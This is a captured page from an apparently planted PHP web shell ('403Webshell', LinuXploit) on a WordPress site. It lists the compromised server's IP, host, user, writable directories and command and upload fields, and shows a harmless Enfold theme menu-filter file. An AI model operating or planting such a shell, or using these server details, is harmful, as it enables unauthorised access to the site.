403Webshell
Server IP : 81.19.159.101  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux www58.world4you.com 4.18.0-553.126.2.lve.el8.x86_64 #1 SMP Thu May 28 14:12:30 UTC 2026 x86_64
User : ftp8817043 ( 2681)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/.sites/103/site8817043/web/wp-content/themes/enfold/config-menu-exchange/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/.sites/103/site8817043/web/wp-content/themes/enfold/config-menu-exchange/config.php
<?php

if( ! defined( 'ABSPATH' ) ) {  exit;  }    // Exit if accessed directly


/*
 * Allow plugins to change menus - if they remove the theme location we have to return the correct location so
 * we can add the burger menu.
 *
 * @since 4.1.3
 */

if( ! function_exists( 'avia_filter_append_burger_menu_location' ) )
{
	/**
	 *
	 * @since 4.1.3
	 * @param string $current_location
	 * @param string $original_location
	 * @param array $items
	 * @param string|stdClass $args
	 * @return string
	 */
	function avia_filter_append_burger_menu_location( $current_location, $original_location, $items, $args )
	{
		/*	Bugfix for for Zen Menu Logic plugin - removed theme location from menu array to exchange the menus		*/
		if( class_exists( 'ZenOfWPMenuLogic', false ) || class_exists( 'Themify_Conditional_Menus', false ) )
		{
			$current_location = $original_location;
		}

		return $current_location;
	}

}

add_filter( 'avf_append_burger_menu_location', 'avia_filter_append_burger_menu_location', 10, 4 );


Youez - 2016 - github.com/yon3zu
LinuXploit